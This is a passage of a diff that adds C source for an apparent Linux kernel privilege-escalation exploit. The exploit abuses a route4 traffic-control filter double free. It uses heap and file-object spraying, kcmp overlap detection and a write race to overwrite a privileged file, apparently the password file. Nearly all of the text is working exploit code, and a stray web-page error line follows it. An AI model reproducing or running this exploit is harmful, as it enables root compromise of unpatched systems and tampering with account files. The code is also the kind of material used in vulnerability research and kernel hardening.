     651 + err(1, "write to child");
     652 + }
     653 + if (read(pipe_child[0], msg, 2) != 2) {
     654 + err(1, "read from parent");
     655 + }
     656 + 
     657 + // free the object, to free the slab
     658 + add_tc_(sockfd, 0x11, 0x12, 0, NLM_F_CREATE);
     659 + 
     660 + // wait for the vulnerable object being freed
     661 + usleep(500 * 1000);
     662 + printf("freed the filter object\n");
     663 + // sync
     664 + if (write(pipe_parent[1], "OK", 2) != 2) {
     665 + err(1, "write to child");
     666 + }
     667 + if (read(pipe_child[0], msg, 2) != 2) {
     668 + err(1, "read from parent");
     669 + }
     670 + 
     671 + usleep(1000 * 1000);
     672 + 
     673 + for (int i = 0; i < spray_num_1; i++) {
     674 + pin_on_cpu(i % cpu_cores);
     675 + fds[i] = open("./data2", 1);
     676 + assert(fds[i] > 0);
     677 + }
     678 + 
     679 + // double free route4, which will free the file
     680 + add_tc_(sockfd, 0x11, 0x13, 0, NLM_F_CREATE);
     681 + usleep(1000 * 100);
     682 + 
     683 + // should not sleep too long, otherwise file might be claimed by others
     684 + printf("double free done\n");
     685 + printf("spraying files\n");
     686 + 
     687 + // the following is to figure out which file is freed
     688 + for (int i = 0; i < spray_num_2; i++) {
     689 + pin_on_cpu(i % cpu_cores);
     690 + fd_2[i] = open("./uaf", 1);
     691 + assert(fd_2[i] > 0);
     692 + for (int j = 0; j < spray_num_1; j++) {
     693 + if (syscall(__NR_kcmp, getpid(), getpid(), KCMP_FILE, fds[j], fd_2[i]) ==
     694 + 0) {
     695 + printf("found overlap, id : %d, %d\n", i, j);
     696 + overlap_a = fds[j];
     697 + overlap_b = fd_2[i];
     698 + 
     699 + pthread_t pid, pid2;
     700 + pthread_create(&pid, NULL, slow_write, NULL);
     701 + pthread_create(&pid2, NULL, write_cmd, NULL);
     702 + 
     703 + while (!run_spray) {
     704 + }
     705 + 
     706 + close(overlap_a);
     707 + close(overlap_b);
     708 + printf("closed overlap\n");
     709 + 
     710 + usleep(1000 * 100);
     711 + 
     712 + int spray_num = 4096;
     713 + write(pipe_file_spray[0][1], &spray_num, sizeof(int));
     714 + if (read(pipe_file_spray[1][0], &msg, 2) != 2) {
     715 + err(1, "read from file spray");
     716 + }
     717 + overlapped = true;
     718 + }
     719 + }
     720 + if (overlapped)
     721 + break;
     722 + }
     723 + 
     724 + sleep(3);
     725 + while (run_write) {
     726 + sleep(1);
     727 + }
     728 + 
     729 + if (!overlapped) {
     730 + printf("no overlap found :(...\n");
     731 + write(pipe_main[1], "\xff", 1);
     732 + } else {
     733 + int xx = open(target, 0);
     734 + char buf[0x100] = {};
     735 + // check if user in the passwd
     736 + read(xx, buf, 0x30);
     737 + if (!strncmp(buf, "user", 4)) {
     738 + write(pipe_main[1], "\x00", 1);
     739 + } else {
     740 + printf("not successful : %s\n", buf);
     741 + write(pipe_main[1], "\xff", 1);
     742 + }
     743 + }
     744 + while (1) {
     745 + sleep(1000);
     746 + }
     747 +}
     748 + 
     749 +void post_exploit() {}
     750 + 
     751 +// this poc assume we have a heap address leaked
     752 +int run_exp() {
     753 + if (pipe(pipe_parent) == -1) {
     754 + err(1, "fail to create pipes\n");
     755 + }
     756 + 
     757 + if (pipe(pipe_child) == -1) {
     758 + err(1, "fail to create pipes\n");
     759 + }
     760 + 
     761 + if (pipe(pipe_defrag) == -1) {
     762 + err(1, "fail to create pipes\n");
     763 + }
     764 + 
     765 + if (pipe(pipe_file_spray[0]) == -1) {
     766 + err(1, "fail to create pipes\n");
     767 + }
     768 + 
     769 + if (pipe(pipe_file_spray[1]) == -1) {
     770 + err(1, "fail to create pipes\n");
     771 + }
     772 + 
     773 + cpu_cores = sysconf(_SC_NPROCESSORS_ONLN);
     774 + 
     775 + if (fork() == 0) {
     776 + // thread for spraying file we want to overwrite
     777 + adjust_rlimit();
     778 + int spray_num = 0;
     779 + if (read(pipe_file_spray[0][0], &spray_num, sizeof(int)) < sizeof(int)) {
     780 + err(1, "read file spray");
     781 + }
     782 + 
     783 + printf("got cmd, start spraying %s\n", target);
     784 + spray_num = 4096;
     785 + if (fork() == 0) {
     786 + for (int i = 0; i < spray_num; i++) {
     787 + pin_on_cpu(i % cpu_cores);
     788 + open(target, 0);
     789 + }
     790 + while (1) {
     791 + sleep(10000);
     792 + }
     793 + }
     794 + 
     795 + for (int i = 0; i < spray_num; i++) {
     796 + pin_on_cpu(i % cpu_cores);
     797 + open(target, 0);
     798 + }
     799 + printf("spray done\n");
     800 + write(pipe_file_spray[1][1], "OK", 2);
     801 + while (1) {
     802 + sleep(10000);
     803 + }
     804 + exit(0);
     805 + }
     806 + 
     807 + if (fork() == 0) {
     808 + pin_on_cpu(0);
     809 + pre_exploit();
     810 + exploit();
     811 + post_exploit();
     812 + } else {
     813 + sleep(2);
     814 + if (fork() == 0) {
     815 + // do the defragmentation to exhaust all file slabs
     816 + // for cross cache
     817 + adjust_rlimit();
     818 + for (int i = 0; i < 10000; i++) {
     819 + pin_on_cpu(i % cpu_cores);
     820 + open(target, 0);
     821 + }
     822 + printf("defrag done\n");
     823 + if (write(pipe_defrag[1], "OK", 2) != 2) {
     824 + err(1, "failed write defrag");
     825 + }
     826 + while (1) {
     827 + sleep(1000);
     828 + }
     829 + } else {
     830 + // memory spray thread
     831 + setup_namespace();
     832 + pin_on_cpu(0);
     833 + int sprayfd = socket(PF_NETLINK, SOCK_RAW, 0);
     834 + assert(sprayfd != -1);
     835 + add_qdisc(sprayfd);
     836 + 
     837 + char msg[0x10] = {};
     838 + char payload[256] = {};
     839 + memset(payload + 0x10, 'A', 256 - 0x10);
     840 + 
     841 + if (read(pipe_defrag[0], msg, 2) != 2) {
     842 + err(1, "failed read defrag");
     843 + }
     844 + 
     845 + // if the exploit keeps failing, please tune the middle and end
     846 + int middle = 38;
     847 + int end = middle + 40;
     848 + 
     849 + // preparing for cross cache
     850 + for (int i = 0; i < middle; i++) {
     851 + add_tc_basic(sprayfd, i + 1, payload, 193, 32);
     852 + }
     853 + 
     854 + add_tc_basic(sprayfd, middle + 1, payload, 193, 32);
     855 + add_tc_basic(sprayfd, middle + 2, payload, 193, 32);
     856 + add_tc_basic(sprayfd, middle + 3, payload, 193, 32);
     857 + if (write(pipe_child[1], "OK", 2) != 2) {
     858 + err(1, "write to parent\n");
     859 + }
     860 + // allocate route4
     861 + if (read(pipe_parent[0], msg, 2) != 2) {
     862 + err(1, "read from parent");
     863 + }
     864 + // add_tc_basic(sprayfd, middle+2, payload, 129, 32);
     865 + 
     866 + // prepare another part for cross cache
     867 + for (int i = middle + 2; i < end; i++) {
     868 + add_tc_basic(sprayfd, i + 1, payload, 193, 32);
     869 + }
     870 + printf("spray 256 done\n");
     871 + 
     872 + for (int i = 1; i < end - 24; i++) {
     873 + // prevent double free of 192
     874 + // and being reclaimed by others
     875 + if (i == middle || i == middle + 1)
     876 + continue;
     877 + delete_tc_basic(sprayfd, i + 1);
     878 + }
     879 + if (write(pipe_child[1], "OK", 2) != 2) {
     880 + err(1, "write to parent\n");
     881 + }
     882 + // free route4 here
     883 + if (read(pipe_parent[0], msg, 2) != 2) {
     884 + err(1, "read from parent");
     885 + }
     886 + // if (cpu_cores == 1) sleep(1);
     887 + delete_tc_basic(sprayfd, middle + 2);
     888 + delete_tc_basic(sprayfd, middle + 3);
     889 + delete_tc_basic(sprayfd, 1);
     890 + for (int i = middle + 2; i < end; i++) {
     891 + delete_tc_basic(sprayfd, i + 1);
     892 + }
     893 + 
     894 + printf("256 freed done\n");
     895 + 
     896 + if (write(pipe_child[1], "OK", 2) != 2) {
     897 + err(1, "write to parent\n");
     898 + }
     899 + while (1) {
     900 + sleep(1000);
     901 + }
     902 + }
     903 + }
     904 +}
     905 + 
     906 +int main(int argc, char **argv) {
     907 + global = (char *)mmap(NULL, 0x2000, PROT_READ | PROT_WRITE | PROT_EXEC,
     908 + MAP_SHARED | MAP_ANON, -1, 0);
     909 + memset(global, 0, 0x2000);
     910 + 
     911 + self_path = global;
     912 + snprintf(self_path, 0x100, "%s/%s", get_current_dir_name(), argv[0]);
     913 + printf("self path %s\n", self_path);
     914 + 
     915 + int fd = open(target, 0);
     916 + content = (char *)(global + 0x100);
     917 + strcpy(content, overwrite);
     918 + read(fd, content + strlen(overwrite), 0x1000);
     919 + close(fd);
     920 + 
     921 + assert(pipe(pipe_main) == 0);
     922 + 
     923 + printf("prepare done\n");
     924 + 
     925 + if (fork() == 0) {
     926 + run_exp();
     927 + while (1) {
     928 + sleep(10000);
     929 + }
     930 + }
     931 + 
     932 + char data;
     933 + read(pipe_main[0], &data, 1);
     934 + if (data == 0) {
     935 + printf("succeed\n");
     936 + } else {
     937 + printf("failed\n");
     938 + }
     939 +}
Please wait...
Page is in error, reload to recover